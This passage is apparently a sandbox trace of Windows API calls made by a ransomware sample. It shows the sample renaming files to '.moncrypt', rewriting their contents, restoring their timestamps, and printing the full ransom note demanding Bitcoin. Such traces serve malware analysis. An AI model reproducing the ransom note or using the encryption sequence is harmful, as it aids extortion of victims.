(pMem=0x55bb88) returned 0x44000c [0050.263] GlobalUnlock (hMem=0x44000c) returned 0 [0050.263] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.263] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.263] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.263] GlobalUnlock (hMem=0x440004) returned 0 [0050.263] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.263] GlobalUnlock (hMem=0x44000c) returned 0 [0050.264] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.264] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.264] GlobalUnlock (hMem=0x44000c) returned 0 [0050.264] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.264] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.264] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.264] GlobalUnlock (hMem=0x44000c) returned 0 [0050.264] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0050.265] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0050.265] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0050.265] SetFilePointer (in: hFile=0x188, lDistanceToMove=196976, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x30170 [0050.265] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0050.276] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0050.276] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.287] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0050.287] CloseHandle (hObject=0x188) returned 1 [0050.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.290] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0050.290] CloseHandle (hObject=0x188) returned 1 [0050.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.moncrypt", dwFileAttributes=0x20) returned 1 [0050.290] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.290] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.290] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.290] GlobalUnlock (hMem=0x44000c) returned 0 [0050.290] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.290] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.290] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.290] GlobalUnlock (hMem=0x44000c) returned 0 [0050.290] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.290] GlobalUnlock (hMem=0x440004) returned 0 [0050.291] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2eaae0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f2eaae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f310c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0050.291] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0050.291] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0050.291] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.291] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.291] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0050.291] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.291] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.291] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0050.291] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.291] ReadFile (in: hFile=0x188, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0050.291] CloseHandle (hObject=0x188) returned 1 [0050.292] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0050.292] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.292] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.292] GlobalLock (hMem=0x440004) returned 0x550170 [0050.292] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.292] GlobalUnlock (hMem=0x440004) returned 0 [0050.292] GlobalLock (hMem=0x440004) returned 0x550170 [0050.292] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.292] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.292] GlobalUnlock (hMem=0x440004) returned 0 [0050.292] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.292] GlobalUnlock (hMem=0x44000c) returned 0 [0050.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.292] CharLowerBuffW (in: lpsz="WPFT632.CNV", cchLength=0xb | out: lpsz="wpft632.cnv") returned 0xb [0050.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpUsedDefaultChar=0x0) returned 67 [0050.293] CharLowerBuffW (in: lpsz=".CNV", cchLength=0x4 | out: lpsz=".cnv") returned 0x4 [0050.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".cnv", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".cnvShared\\TextConv\\WPFT632.CNV", lpUsedDefaultChar=0x0) returned 4 [0050.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0x54e200 [0050.293] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.293] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.293] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", dwFileAttributes=0x20) returned 1 [0050.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.moncrypt")) returned 1 [0050.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.294] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.295] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x46b70 [0050.295] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.295] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0050.296] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.296] GlobalLock (hMem=0x440004) returned 0x550170 [0050.296] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.297] GlobalUnlock (hMem=0x440004) returned 0 [0050.297] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.297] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.297] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.297] GlobalUnlock (hMem=0x440004) returned 0 [0050.297] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.297] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.297] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.297] GlobalUnlock (hMem=0x44000c) returned 0 [0050.297] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.298] GlobalUnlock (hMem=0x440004) returned 0 [0050.298] GlobalLock (hMem=0x440004) returned 0x550170 [0050.298] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.298] GlobalUnlock (hMem=0x440004) returned 0 [0050.298] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.298] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.298] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.298] GlobalUnlock (hMem=0x440004) returned 0 [0050.298] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0050.298] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0050.298] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0050.298] SetFilePointer (in: hFile=0x188, lDistanceToMove=289648, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x46b70 [0050.298] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0050.300] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0050.300] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.311] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0050.311] CloseHandle (hObject=0x188) returned 1 [0050.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.315] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0050.315] CloseHandle (hObject=0x188) returned 1 [0050.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.moncrypt", dwFileAttributes=0x20) returned 1 [0050.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.316] GlobalLock (hMem=0x440004) returned 0x550170 [0050.316] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.316] GlobalUnlock (hMem=0x440004) returned 0 [0050.316] GlobalLock (hMem=0x440004) returned 0x550170 [0050.316] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.316] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.316] GlobalUnlock (hMem=0x440004) returned 0 [0050.316] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.316] GlobalUnlock (hMem=0x44000c) returned 0 [0050.316] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2eaae0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f2eaae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f310c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0050.316] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0050.316] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0050.316] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.317] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.317] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0050.317] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.317] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.317] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0050.317] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.317] ReadFile (in: hFile=0x188, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0050.317] CloseHandle (hObject=0x188) returned 1 [0050.317] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0050.317] GetLastError () returned 0x12 [0050.317] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.317] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.317] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.317] GlobalUnlock (hMem=0x44000c) returned 0 [0050.317] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.318] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.318] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.318] GlobalUnlock (hMem=0x44000c) returned 0 [0050.318] GlobalHandle 